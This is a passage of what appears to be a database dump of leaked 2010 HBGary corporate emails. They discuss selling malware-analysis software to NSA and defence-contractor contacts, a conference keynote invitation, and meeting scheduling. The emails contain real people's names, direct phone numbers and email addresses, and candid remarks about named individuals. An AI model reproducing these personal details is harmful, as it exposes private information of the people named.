the DIB.Active Defense changes things and if we can tie it into some intelligence to smartly deploy DDNA (I am going to keep beating this drum) then we have a better shot. &nbsp;Lets talk a little more about this.AaronOn May 2, 2010, at 2:04 PM, Bob Slapnik wrote:Aaron,&nbsp;Any developments with Robert Brammer and NG?&nbsp; They must be getting hammered with malware like every other contractor.&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13734,'aaron_hbgary_com/13734.html'),(5894,'2010-05-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004286.M341406P14101Q749.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: REBL 10','Greg, Rich, Penny and Aaron,\r\n\r\nSee email below from Scott Brown.  He is inviting Greg to give a keynote\r\ntalk at REBL.  There will be no competing talks.   The audience will be\r\naround 500 people from all over gov\'t.\r\n\r\nI believe this talk will generate sales prospects.  Please let me know ASAP\r\none way or the other.\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Scott K. Brown [mailto:sbrown@dewnet.ncsc.mil] \r\nSent: Monday, May 03, 2010 7:02 AM\r\nTo: Bob Slapnik\r\nSubject: REBL 10\r\n\r\nBob,\r\n\r\nI was interested in determining if Greg wanted to provide a 60 minute talk\r\non the current state of malware based on what you guys are seeing with TMC\r\nand implementing into your commercial tools.  I believe it would be ok to\r\ntalk about TMC since it is not a commercial product, but Greg really\r\ncouldn\'t talk specifically to DDNA or Responder except to say that there are\r\ncommercial tools out there that can help speed up identification and\r\nanalysis.  I think Aaron\'s talk would be interesting, but I believe the\r\naudience would be much more interested in Greg\'s talk.  Also, I want to\r\nposition this as a keynote talk, to be given from 3:30 to 4:30 on Tues 15\r\nJune or Thurs 17 June.  There would be no competing talks or sessions, and\r\nthe audience could be as many as 500.  In addition to my team, you would\r\nhave all of the other reps from service blue teams, federal govt teams, etc\r\nthat would be responsible for incident response on analyzing malware (these\r\nare the teams that will likely be following our lead on how we use\r\ncommercial tools to perform malware identification and analysis).\r\n\r\nThanks,\r\n\r\nScott K. Brown\r\nTechnical Director\r\nNSA Blue Team\r\n(410) 854-6529\r\nsbrown@dewnet.ncsc.mil\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.814 / Virus Database: 271.1.1/2842 - Release Date: 05/02/10\r\n02:27:00\r\n\r\n',3245,'aaron_hbgary_com/3245.html'),(5895,'2010-05-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004286.M562371P14101Q750.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: TMC','If they want only one node it doesn\'t make sense to proceed.  They can\r\npretty much replicate one node with Responder Pro.  In my mind they would\r\nneed to purchase 5-10 nodes to make sense financially.  The issue is there\r\nis upfront development work.  We aren\'t going to do that work near term\r\nwithout revenue.  Chicken and egg.  If they don\'t buy we will eventually\r\ndevelop TMC but it will be after we complete more pressing enterprise\r\ndevelopment.\r\n\r\nThis equation could change if HBG Fed wanted to cobble TMC together.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, May 03, 2010 8:15 AM\r\nTo: Bob Slapnik\r\nSubject: TMC\r\n\r\nBob,\r\n\r\nSo if we were to actually sell them a TMC what figure are you thinking?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.814 / Virus Database: 271.1.1/2842 - Release Date: 05/02/10\r\n02:27:00\r\n\r\n',13301,'aaron_hbgary_com/13301.html'),(5896,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004286.M781935P14101Q751.eml','\"Irby Thompson\" <irby@pikewerks.com>','Re: Lunch tomorrow.','want to shoot for Wednesday?\r\nAaron\r\n\r\nOn Apr 29, 2010, at 4:33 PM, Irby Thompson wrote:\r\n\r\n> Next Monday-Thursday is looking pretty good.\r\n> \r\n> 	-Irby\r\n> \r\n> \r\n> On Apr 29, 2010, at 3:44 PM, Aaron Barr wrote:\r\n> \r\n>> Hey sorry I got confused or confused u not sure which.  I have a customer meeting up in MD and can\'t get back down until about 3pm.  Want to  get together then or maybe a good time next week would be better?\r\n>> \r\n>> Aaron\r\n>> On Apr 29, 2010, at 11:55 AM, Irby Thompson wrote:\r\n>> \r\n>>> Aaron,\r\n>>> \r\n>>> I am in Huntsville today, but should get back late tonight. I think we\'ll be good for lunch tomorrow, can we touch base in the morning?\r\n>>> \r\n>>> \r\n>>> \r\n>>> On Apr 28, 2010, at 9:51 PM, Aaron Barr  wrote:\r\n>>> \r\n>>>> Hey Irby,\r\n>>>> \r\n>>>> Hows your Friday look?\r\n>>>> \r\n>>>> I have been in discussions with Paul.  We signed a TA with them last week.  I talked about our team for Cyber Genome.  Lets discuss when we get together.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> On Apr 26, 2010, at 4:05 PM, Irby Thompson wrote:\r\n>>>> \r\n>>>>> I\'m out of town Wed-Thurs. I have a 2PM meeting Friday, but it may get moved. I\'ll check back with you on Wednesday and see if we can get together on Friday.\r\n>>>>> \r\n>>>>> Also, have you been in discussions with Paul Rooney from CSC?\r\n>>>>> \r\n>>>>> Regards,\r\n>>>>> Irby\r\n>>>>> \r\n>>>>> \r\n>>>>> On Apr 26, 2010, at 3:46 PM, Aaron Barr wrote:\r\n>>>>> \r\n>>>>>> Irby,\r\n>>>>>> \r\n>>>>>> I am stuck tomorrow bouncing all over.  I am pretty open wed-thurs. and can get together from 1pm on on Friday.\r\n>>>>>> Aaron\r\n>>>>>> \r\n>>>>>> On Apr 26, 2010, at 3:40 PM, Irby Thompson wrote:\r\n>>>>>> \r\n>>>>>>> My noon meeting tomorrow just got moved. You still interested in lunch?\r\n>>>>>>> \r\n>>>>>>>     -irby\r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> On Apr 26, 2010, at 3:14 PM, Aaron Barr wrote:\r\n>>>>>>> \r\n>>>>>>>> hmmm... my 2 bad days this week.  multiple meetings tomorrow and a 930-1100am up at NSA on Friday.  Could maybe do 1pm or so on Friday.\r\n>>>>>>>> \r\n>>>>>>>> Aaron\r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> On Apr 26, 2010, at 12:47 PM, Irby Thompson wrote:\r\n>>>>>>>> \r\n>>>>>>>>> Aaron,\r\n>>>>>>>>> \r\n>>>>>>>>> I have a call at noon tomorrow, you want to grab lunch before that or afterwards? Otherwise, we could try on Friday.\r\n>>>>>>>>> \r\n>>>>>>>>> -Irby\r\n>>>>>>>> \r\n>>>>>>>> Aaron Barr\r\n>>>>>>>> CEO\r\n>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>> \r\n>>>>>>> \r\n>>>>>> \r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>> \r\n>>>>> \r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6208,'aaron_hbgary_com/6208.html'),(5897,'2010-05-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004287.M237078P14101Q753.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Evaluating HBGary Software','Yes, NSA could write the script themselves.  I\'d like to give them a script\r\nthat approximates what they would want to do so they get it done faster.\r\nAlso, the command line has no documentation, so the starter script is a way\r\nfor them to see and figure out how it works.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, May 03, 2010 8:19 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Evaluating HBGary Software\r\n\r\nyep I think that would be a good exercise.  But couldn\'t the NSA folks do\r\nthis themselves?  Could they without having any source write a wrapper\r\naround Responder that did the same thing using the command line.\r\n\r\nAaron\r\n\r\nOn May 1, 2010, at 8:41 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\nThe key is for Bob Nissen and the guy sitting next to him say Responder Pro\r\nis good.  Bob said he has too many malware to analyze and he has lower\r\nskilled people who need better tools.  Responder has evolved to a point\r\nwhere it is truly excellent and useful, even to pet rock guys.  He will\r\neither see that or he won\'t.\r\n \r\nAs for TMC, Greg said that if they only want one TMC node then they don\'t\r\nneed TMC, they can just use one license of Responder, albeit in a clumsy\r\nway.  Greg said it would take about an hour for an HBGary engineer to use\r\nITHC to write a script to grab malware one by one from a directory, create a\r\nproject, run it inside of a REcon/VM, snapshot memory, run DDNA, print\r\nreport, close the project, then repeat for each malware.\r\n \r\nHey, how about having your HBG Fed guy try his hand at this?  It would take\r\nhim longer but he\'d get schooled on the product.\r\n \r\n \r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Saturday, May 01, 2010 7:16 PM\r\nTo: Bob Slapnik\r\nSubject: Re: Evaluating HBGary Software\r\n \r\nok.  I am going to follow up with Matt Bodman on Monday.  I will call you\r\nbefore I call him.\r\n \r\nAaron\r\n \r\nOn May 1, 2010, at 6:52 PM, Bob Slapnik wrote:\r\n\r\n\r\nAaron,\r\n \r\nI sent this email to Bob Nissen.\r\n \r\nBob\r\n \r\n \r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] \r\nSent: Saturday, May 01, 2010 6:52 PM\r\nTo: \'r.nissen@radium.ncsc.mil\'\r\nSubject: Evaluating HBGary Software\r\n \r\nBob,\r\n \r\nGood to see you on Friday.  We discussed the next step being your evaluation\r\nof Responder Professional.  It has all of the main components within the\r\nThreat Monitoring System - Digital DNA for binary scoring, REcon for runtime\r\ntracing, and memory forensics - albeit in a standalone system.\r\nAdditionally, Responder Pro has a suite of binary analysis capabilities.\r\n \r\nI recommend that you start your usage of Responder Pro via its user\r\ninterface so you learn about what it does and how it works. \r\nThen if you want to analyze a number of binaries in an automated, unattended\r\nfashion you can use the command line interface called Inspector Test Harness\r\nClient (ITHC).  Let me know when you are ready to use ITHC and I\'ll have one\r\nof my engineers send you a plug-in script.\r\n \r\nHere is how to download the Responder eval software (includes the Digital\r\nDNA and REcon modules).  Please feel free to forward this email to others so\r\nthey can evaluate it also.\r\n \r\n- Go to www.hbgary.com\r\n- Click on Register (upper right corner) to create an account (fill in the\r\nform)\r\n- Send an email to bob@hbgary.com and support@hbgary.com to request the eval\r\nsoftware.  One of us will manually enable your account and send you an email\r\nthat you can proceed with the download.\r\n- Click on PORTAL\r\n- On the portal page click on My Downloads\r\n- Download the software, install it and run it.\r\n- Send the Machine ID to bob@hbgary.com and support@hbgary.com, then we will\r\nsend you a 14-day eval key.\r\n \r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\nwww.hbgary.com  |  bob@hbgary.com\r\n \r\n \r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.814 / Virus Database: 271.1.1/2842 - Release Date: 05/01/10\r\n14:27:00\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.814 / Virus Database: 271.1.1/2842 - Release Date: 05/02/10\r\n02:27:00\r\n\r\n',6412,'aaron_hbgary_com/6412.html'),(5898,'2010-05-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004287.M490339P14101Q754.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: REBL Conference','They want Greg to be a keynote speaker in front of 500 people.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, May 03, 2010 8:22 AM\r\nTo: Bob Slapnik\r\nSubject: REBL Conference\r\n\r\nSo I got the paper from Scott Brown, who seems to be a HBGary supporter\r\nbased on his language and tone during the meeting.  He wants a talk on the\r\ncurrent state of Malware.  I don\'t think Greg is interested, and I am not\r\nsure I can pull it off.  It would be a great opportunity but just not sure\r\nif I can be credible.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.814 / Virus Database: 271.1.1/2842 - Release Date: 05/02/10\r\n02:27:00\r\n\r\n',16193,'aaron_hbgary_com/16193.html'),(5899,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004287.M739798P14101Q755.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: REBL Conference','I think it is a good opportunity.  Greg still doesn\'t seem to like NSA, hope he decides to do the talk.\r\n\r\nAaron\r\n\r\nOn May 3, 2010, at 9:38 AM, Bob Slapnik wrote:\r\n\r\n> They want Greg to be a keynote speaker in front of 500 people.\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, May 03, 2010 8:22 AM\r\n> To: Bob Slapnik\r\n> Subject: REBL Conference\r\n> \r\n> So I got the paper from Scott Brown, who seems to be a HBGary supporter\r\n> based on his language and tone during the meeting.  He wants a talk on the\r\n> current state of Malware.  I don\'t think Greg is interested, and I am not\r\n> sure I can pull it off.  It would be a great opportunity but just not sure\r\n> if I can be credible.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.814 / Virus Database: 271.1.1/2842 - Release Date: 05/02/10\r\n> 02:27:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4481,'aaron_hbgary_com/4481.html'),(5900,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004287.M9342P14101Q752.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: TMC','Begin forwarded message:From: \"Bob Slapnik\" &lt;bob@hbgary.com&gt;Date: May 3, 2010 9:34:51 AM EDTTo: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Subject: RE: TMCIf they want only one node it doesn\'t make sense to proceed. &nbsp;They canpretty much replicate one node with Responder Pro. &nbsp;In my mind they wouldneed to purchase 5-10 nodes to make sense financially. &nbsp;The issue is thereis upfront development work. &nbsp;We aren\'t going to do that work near termwithout revenue. &nbsp;Chicken and egg. &nbsp;If they don\'t buy we will eventuallydevelop TMC but it will be after we complete more pressing enterprisedevelopment.This equation could change if HBG Fed wanted to cobble TMC together.-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, May 03, 2010 8:15 AMTo: Bob SlapnikSubject: TMCBob,So if we were to actually sell them a TMC what figure are you thinking?Aaron BarrCEOHBGary Federal Inc.No virus found in this incoming message.Checked by AVG - www.avg.com Version: 9.0.814 / Virus Database: 271.1.1/2842 - Release Date: 05/02/1002:27:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12468,'aaron_hbgary_com/12468.html'),(5901,'2010-05-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004287.M975505P14101Q756.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Robert Brammer','Aaron,\r\n\r\nGeorge and Chris were only interested in having HBGary develop a custom tool\r\nfor covert monitoring on hosts.  They never considered our commercial\r\nproducts.  In fact, they had never taken the time to look at them.  My sense\r\nalso was that they had no power of the purse.  Perhaps the people you are\r\ntalking to are better.  But please do not let them be influenced by a\r\nso-called previous review of HBGary software that never happened.\r\n\r\nNow, there is a guy named Bil Carter in McLean who purchased Responder Pro\r\nand gave it back - he actually cancelled the order.  Bil is not a security\r\nguy.  He is an internal investigation guy - think law enforcement.  He went\r\nto training and was completely over his head from the first hour.  He\r\ntrusted his underling about Responder Pro and had never seen it before\r\nbuying.  They actually should have bought Field Edition.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, May 03, 2010 8:39 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Robert Brammer\r\n\r\nBrammer is not the guy for this.  He is the IS CTO and somewhat neutered at\r\nthat.  The CISO Tim McKnight, but more importantly, Mark Leary, his deputy,\r\nis the person to talk with.  I had dinner with him last night, hes a friend.\r\nI will get us another opportunity to demo active defense.  They evaluated,\r\nbeing Chris Barnett and George Bakos, HBGary and their was take was good\r\nproducts but to labor intensive for enterprise defense.  Malware analysis is\r\nfor the 6 guys that George runs up in Andover, MA.  Their focus is on\r\nproducts that can better defend.  NG has probably the best internal IT\r\nsecurity program in the DIB.\r\n\r\nActive Defense changes things and if we can tie it into some intelligence to\r\nsmartly deploy DDNA (I am going to keep beating this drum) then we have a\r\nbetter shot.  Lets talk a little more about this.\r\n\r\nAaron\r\n\r\nOn May 2, 2010, at 2:04 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\nAaron,\r\n \r\nAny developments with Robert Brammer and NG?  They must be getting hammered\r\nwith malware like every other contractor.\r\n \r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\nwww.hbgary.com  |  bob@hbgary.com\r\n \r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.814 / Virus Database: 271.1.1/2842 - Release Date: 05/02/10\r\n02:27:00\r\n\r\n',3084,'aaron_hbgary_com/3084.html'),(5902,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004288.M282507P14101Q757.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Robert Brammer','OK I am not sure the analysis Mark was talking about then.  I will work to get a brief with Mark\'s folks.\r\n\r\nAaron\r\n\r\nOn May 3, 2010, at 9:44 AM, Bob Slapnik wrote:\r\n\r\n> Aaron,\r\n> \r\n> George and Chris were only interested in having HBGary develop a custom tool\r\n> for covert monitoring on hosts.  They never considered our commercial\r\n> products.  In fact, they had never taken the time to look at them.  My sense\r\n> also was that they had no power of the purse.  Perhaps the people you are\r\n> talking to are better.  But please do not let them be influenced by a\r\n> so-called previous review of HBGary software that never happened.\r\n> \r\n> Now, there is a guy named Bil Carter in McLean who purchased Responder Pro\r\n> and gave it back - he actually cancelled the order.  Bil is not a security\r\n> guy.  He is an internal investigation guy - think law enforcement.  He went\r\n> to training and was completely over his head from the first hour.  He\r\n> trusted his underling about Responder Pro and had never seen it before\r\n> buying.  They actually should have bought Field Edition.\r\n> \r\n> Bob \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, May 03, 2010 8:39 AM\r\n> To: Bob Slapnik\r\n> Subject: Re: Robert Brammer\r\n> \r\n> Brammer is not the guy for this.  He is the IS CTO and somewhat neutered at\r\n> that.  The CISO Tim McKnight, but more importantly, Mark Leary, his deputy,\r\n> is the person to talk with.  I had dinner with him last night, hes a friend.\r\n> I will get us another opportunity to demo active defense.  They evaluated,\r\n> being Chris Barnett and George Bakos, HBGary and their was take was good\r\n> products but to labor intensive for enterprise defense.  Malware analysis is\r\n> for the 6 guys that George runs up in Andover, MA.  Their focus is on\r\n> products that can better defend.  NG has probably the best internal IT\r\n> security program in the DIB.\r\n> \r\n> Active Defense changes things and if we can tie it into some intelligence to\r\n> smartly deploy DDNA (I am going to keep beating this drum) then we have a\r\n> better shot.  Lets talk a little more about this.\r\n> \r\n> Aaron\r\n> \r\n> On May 2, 2010, at 2:04 PM, Bob Slapnik wrote:\r\n> \r\n> \r\n> \r\n> Aaron,\r\n> \r\n> Any developments with Robert Brammer and NG?  They must be getting hammered\r\n> with malware like every other contractor.\r\n> \r\n> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n> www.hbgary.com  |  bob@hbgary.com\r\n> \r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.814 / Virus Database: 271.1.1/2842 - Release Date: 05/02/10\r\n> 02:27:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11913,'aaron_hbgary_com/11913.html'),(5903,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004288.M564445P14101Q758.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Evaluating HBGary Software','OK.  Can HBGary Federal put together a \"mini\" TMC.  At a minimum I think Matt is willing to spend $60K, we can probably get him up a bit from that.  It seems a shame to leave money on the table.\r\n\r\nAaron\r\n\r\nOn May 3, 2010, at 9:37 AM, Bob Slapnik wrote:\r\n\r\n> Yes, NSA could write the script themselves.  I\'d like to give them a script\r\n> that approximates what they would want to do so they get it done faster.\r\n> Also, the command line has no documentation, so the starter script is a way\r\n> for them to see and figure out how it works.\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, May 03, 2010 8:19 AM\r\n> To: Bob Slapnik\r\n> Subject: Re: Evaluating HBGary Software\r\n> \r\n> yep I think that would be a good exercise.  But couldn\'t the NSA folks do\r\n> this themselves?  Could they without having any source write a wrapper\r\n> around Responder that did the same thing using the command line.\r\n> \r\n> Aaron\r\n> \r\n> On May 1, 2010, at 8:41 PM, Bob Slapnik wrote:\r\n> \r\n> \r\n> \r\n> The key is for Bob Nissen and the guy sitting next to him say Responder Pro\r\n> is good.  Bob said he has too many malware to analyze and he has lower\r\n> skilled people who need better tools.  Responder has evolved to a point\r\n> where it is truly excellent and useful, even to pet rock guys.  He will\r\n> either see that or he won\'t.\r\n> \r\n> As for TMC, Greg said that if they only want one TMC node then they don\'t\r\n> need TMC, they can just use one license of Responder, albeit in a clumsy\r\n> way.  Greg said it would take about an hour for an HBGary engineer to use\r\n> ITHC to write a script to grab malware one by one from a directory, create a\r\n> project, run it inside of a REcon/VM, snapshot memory, run DDNA, print\r\n> report, close the project, then repeat for each malware.\r\n> \r\n> Hey, how about having your HBG Fed guy try his hand at this?  It would take\r\n> him longer but he\'d get schooled on the product.\r\n> \r\n> \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Saturday, May 01, 2010 7:16 PM\r\n> To: Bob Slapnik\r\n> Subject: Re: Evaluating HBGary Software\r\n> \r\n> ok.  I am going to follow up with Matt Bodman on Monday.  I will call you\r\n> before I call him.\r\n> \r\n> Aaron\r\n> \r\n> On May 1, 2010, at 6:52 PM, Bob Slapnik wrote:\r\n> \r\n> \r\n> Aaron,\r\n> \r\n> I sent this email to Bob Nissen.\r\n> \r\n> Bob\r\n> \r\n> \r\n> From: Bob Slapnik [mailto:bob@hbgary.com] \r\n> Sent: Saturday, May 01, 2010 6:52 PM\r\n> To: \'r.nissen@radium.ncsc.mil\'\r\n> Subject: Evaluating HBGary Software\r\n> \r\n> Bob,\r\n> \r\n> Good to see you on Friday.  We discussed the next step being your evaluation\r\n> of Responder Professional.  It has all of the main components within the\r\n> Threat Monitoring System - Digital DNA for binary scoring, REcon for runtime\r\n> tracing, and memory forensics - albeit in a standalone system.\r\n> Additionally, Responder Pro has a suite of binary analysis capabilities.\r\n> \r\n> I recommend that you start your usage of Responder Pro via its user\r\n> interface so you learn about what it does and how it works. \r\n> Then if you want to analyze a number of binaries in an automated, unattended\r\n> fashion you can use the command line interface called Inspector Test Harness\r\n> Client (ITHC).  Let me know when you are ready to use ITHC and I\'ll have one\r\n> of my engineers send you a plug-in script.\r\n> \r\n> Here is how to download the Responder eval software (includes the Digital\r\n> DNA and REcon modules).  Please feel free to forward this email to others so\r\n> they can evaluate it also.\r\n> \r\n> - Go to www.hbgary.com\r\n> - Click on Register (upper right corner) to create an account (fill in the\r\n> form)\r\n> - Send an email to bob@hbgary.com and support@hbgary.com to request the eval\r\n> software.  One of us will manually enable your account and send you an email\r\n> that you can proceed with the download.\r\n> - Click on PORTAL\r\n> - On the portal page click on My Downloads\r\n> - Download the software, install it and run it.\r\n> - Send the Machine ID to bob@hbgary.com and support@hbgary.com, then we will\r\n> send you a 14-day eval key.\r\n> \r\n> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n> www.hbgary.com  |  bob@hbgary.com\r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.814 / Virus Database: 271.1.1/2842 - Release Date: 05/01/10\r\n> 14:27:00\r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.814 / Virus Database: 271.1.1/2842 - Release Date: 05/02/10\r\n> 02:27:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3225,'aaron_hbgary_com/3225.html'),(5904,'2010-05-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004288.M779810P14101Q759.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Robert Brammer','There was never an analysis. In fact, they\'ve never seen a demo.\r\n\r\nAnother guy is Rob Renew, Incident Response Manager.  I\'ve been after him\r\nforever to look at our software but I can\'t get his attention.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, May 03, 2010 9:47 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Robert Brammer\r\n\r\nOK I am not sure the analysis Mark was talking about then.  I will work to\r\nget a brief with Mark\'s folks.\r\n\r\nAaron\r\n\r\nOn May 3, 2010, at 9:44 AM, Bob Slapnik wrote:\r\n\r\n> Aaron,\r\n> \r\n> George and Chris were only interested in having HBGary develop a custom\r\ntool\r\n> for covert monitoring on hosts.  They never considered our commercial\r\n> products.  In fact, they had never taken the time to look at them.  My\r\nsense\r\n> also was that they had no power of the purse.  Perhaps the people you are\r\n> talking to are better.  But please do not let them be influenced by a\r\n> so-called previous review of HBGary software that never happened.\r\n> \r\n> Now, there is a guy named Bil Carter in McLean who purchased Responder Pro\r\n> and gave it back - he actually cancelled the order.  Bil is not a security\r\n> guy.  He is an internal investigation guy - think law enforcement.  He\r\nwent\r\n> to training and was completely over his head from the first hour.  He\r\n> trusted his underling about Responder Pro and had never seen it before\r\n> buying.  They actually should have bought Field Edition.\r\n> \r\n> Bob \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, May 03, 2010 8:39 AM\r\n> To: Bob Slapnik\r\n> Subject: Re: Robert Brammer\r\n> \r\n> Brammer is not the guy for this.  He is the IS CTO and somewhat neutered\r\nat\r\n> that.  The CISO Tim McKnight, but more importantly, Mark Leary, his\r\ndeputy,\r\n> is the person to talk with.  I had dinner with him last night, hes a\r\nfriend.\r\n> I will get us another opportunity to demo active defense.  They evaluated,\r\n> being Chris Barnett and George Bakos, HBGary and their was take was good\r\n> products but to labor intensive for enterprise defense.  Malware analysis\r\nis\r\n> for the 6 guys that George runs up in Andover, MA.  Their focus is on\r\n> products that can better defend.  NG has probably the best internal IT\r\n> security program in the DIB.\r\n> \r\n> Active Defense changes things and if we can tie it into some intelligence\r\nto\r\n> smartly deploy DDNA (I am going to keep beating this drum) then we have a\r\n> better shot.  Lets talk a little more about this.\r\n> \r\n> Aaron\r\n> \r\n> On May 2, 2010, at 2:04 PM, Bob Slapnik wrote:\r\n> \r\n> \r\n> \r\n> Aaron,\r\n> \r\n> Any developments with Robert Brammer and NG?  They must be getting\r\nhammered\r\n> with malware like every other contractor.\r\n> \r\n> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n> www.hbgary.com  |  bob@hbgary.com\r\n> \r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.814 / Virus Database: 271.1.1/2842 - Release Date: 05/02/10\r\n> 02:27:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.814 / Virus Database: 271.1.1/2842 - Release Date: 05/02/10\r\n02:27:00\r\n\r\n',5539,'aaron_hbgary_com/5539.html'),(5905,'2010-05-03','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297004289.M13071P14101Q760.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: 